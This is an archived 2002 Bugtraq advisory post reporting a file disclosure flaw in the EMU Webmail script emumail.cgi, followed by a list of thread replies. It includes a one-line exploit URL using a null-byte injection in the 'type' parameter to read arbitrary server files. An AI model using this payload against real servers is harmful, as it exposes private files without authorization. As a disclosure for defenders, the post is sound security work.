Bugtraq mailing list archives

emumail.cgi

From: <acidneo () altern org>
Date: Thu, 4 Apr 2002 03:17:16 +0200 (CEST)

name            : emumail.cgi
date            : 04/04/2002
description     : EMU Webmail: how to check your email
from the web. 
severity        : Low/average-risk
homepage        : www.emumail.com

Any user can view files on the remote system:
xxx/PATH/emumail.cgi?type=FILE%00



The vendor were contact about that

Current thread:

emumail.cgi acidneo (Apr 04)
- Re: emumail.cgi Tom Micklovitch (Apr 05)
- Re: emumail.cgi, one more local vulnerability (not verified) Leif Jakob (Apr 10)
- <Possible follow-ups>
- Re: emumail.cgi N|ghtHawk (Apr 05)
  - Re: emumail.cgi MegaHz (Apr 08)
    - Re: emumail.cgi Randal L. Schwartz (Apr 09)